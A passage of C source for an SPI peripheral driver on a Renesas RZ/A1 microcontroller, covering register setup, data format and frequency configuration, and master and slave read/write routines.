~(0x20); break; } dummy = CPGSTBCR10; obj->spi->SPCR = 0x00; // CTRL to 0 obj->spi->SPSCR = 0x00; // no sequential operation obj->spi->SSLP = 0x00; // SSL 'L' active obj->spi->SPDCR = 0x20; // byte access obj->spi->SPCKD = 0x00; // SSL -> enable CLK delay : 1RSPCK obj->spi->SSLND = 0x00; // CLK end -> SSL neg delay : 1RSPCK obj->spi->SPND = 0x00; // delay between CMD : 1RSPCK + 2P1CLK obj->spi->SPPCR = 0x20; // MOSI Idle fixed value equals 0 obj->spi->SPBFCR = 0xf0; // and set trigger count: read 1, write 1 obj->spi->SPBFCR = 0x30; // and reset buffer // set default format and frequency if ((int)ssel == NC) { spi_format(obj, 8, 0, 0); // 8 bits, mode 0, master } else { spi_format(obj, 8, 0, 1); // 8 bits, mode 0, slave } spi_frequency(obj, 1000000); // pin out the spi pins pinmap_pinout(mosi, PinMap_SPI_MOSI); pinmap_pinout(miso, PinMap_SPI_MISO); pinmap_pinout(sclk, PinMap_SPI_SCLK); if ((int)ssel != NC) { pinmap_pinout(ssel, PinMap_SPI_SSEL); } } void spi_free(spi_t *obj) {} void spi_format(spi_t *obj, int bits, int mode, int slave) { int DSS; // DSS (data select size) int polarity = (mode & 0x2) ? 1 : 0; int phase = (mode & 0x1) ? 1 : 0; uint16_t tmp = 0; uint16_t mask = 0xf03; uint8_t splw; switch (mode) { case 0: case 1: case 2: case 3: // Do Nothing break; default: error("SPI format error"); return; } switch (bits) { case 8: DSS = 0x7; splw = 0x20; break; case 16: DSS = 0xf; splw = 0x40; break; case 32: DSS = 0x2; splw = 0x60; break; default: error("SPI module don't support other than 8/16/32bits"); return; } tmp |= phase; tmp |= (polarity << 1); tmp |= (DSS << 8); obj->bits = bits; spi_disable(obj); obj->spi->SPCMD0 &= ~mask; obj->spi->SPCMD0 |= (mask & tmp); obj->spi->SPDCR = splw; if (slave) { obj->spi->SPCR &=~(1 << 3); // MSTR to 0 } else { obj->spi->SPCR |= (1 << 3); // MSTR to 1 } spi_enable(obj); } void spi_frequency(spi_t *obj, int hz) { uint32_t pclk_base; uint32_t div; uint32_t brdv = 0; uint16_t mask = 0x000c; /* set PCLK */ if (RZ_A1_IsClockMode0() == false) { pclk_base = CM1_RENESAS_RZ_A1_P1_CLK; } else { pclk_base = CM0_RENESAS_RZ_A1_P1_CLK; } if ((hz < (pclk_base / 2 / 256 / 8)) || (hz > (pclk_base / 2))) { error("Couldn't setup requested SPI frequency"); return; } div = (pclk_base / hz / 2); while (div > 256) { div >>= 1; brdv++; } div -= 1; brdv = (brdv << 2); spi_disable(obj); obj->spi->SPBR = div; obj->spi->SPCMD0 &= ~mask; obj->spi->SPCMD0 |= (mask & brdv); spi_enable(obj); } static inline void spi_disable(spi_t *obj) { obj->spi->SPCR &= ~(1 << 6); // SPE to 0 } static inline void spi_enable(spi_t *obj) { obj->spi->SPCR |= (1 << 6); // SPE to 1 } static inline int spi_readable(spi_t *obj) { return obj->spi->SPSR & (1 << 7); // SPRF } static inline int spi_tend(spi_t *obj) { return obj->spi->SPSR & (1 << 6); // TEND } static inline void spi_write(spi_t *obj, int value) { if (obj->bits == 8) { obj->spi->SPDR.UINT8[0] = (uint8_t)value; } else if (obj->bits == 16) { obj->spi->SPDR.UINT16[0] = (uint16_t)value; } else { obj->spi->SPDR.UINT32 = (uint32_t)value; } } static inline int spi_read(spi_t *obj) { int read_data; if (obj->bits == 8) { read_data = obj->spi->SPDR.UINT8[0]; } else if (obj->bits == 16) { read_data = obj->spi->SPDR.UINT16[0]; } else { read_data = obj->spi->SPDR.UINT32; } return read_data; } int spi_master_write(spi_t *obj, int value) { spi_write(obj, value); while(!spi_tend(obj)); return spi_read(obj); } int spi_slave_receive(spi_t *obj) { return (spi_readable(obj) && !spi_busy(obj)) ? (1) : (0); } int spi_slave_read(spi_t *obj) { return spi_read(obj); } void spi_slave_write(spi_t *obj, int value) { spi_write(obj, value); } int spi_busy(spi_t *obj) { return 0; }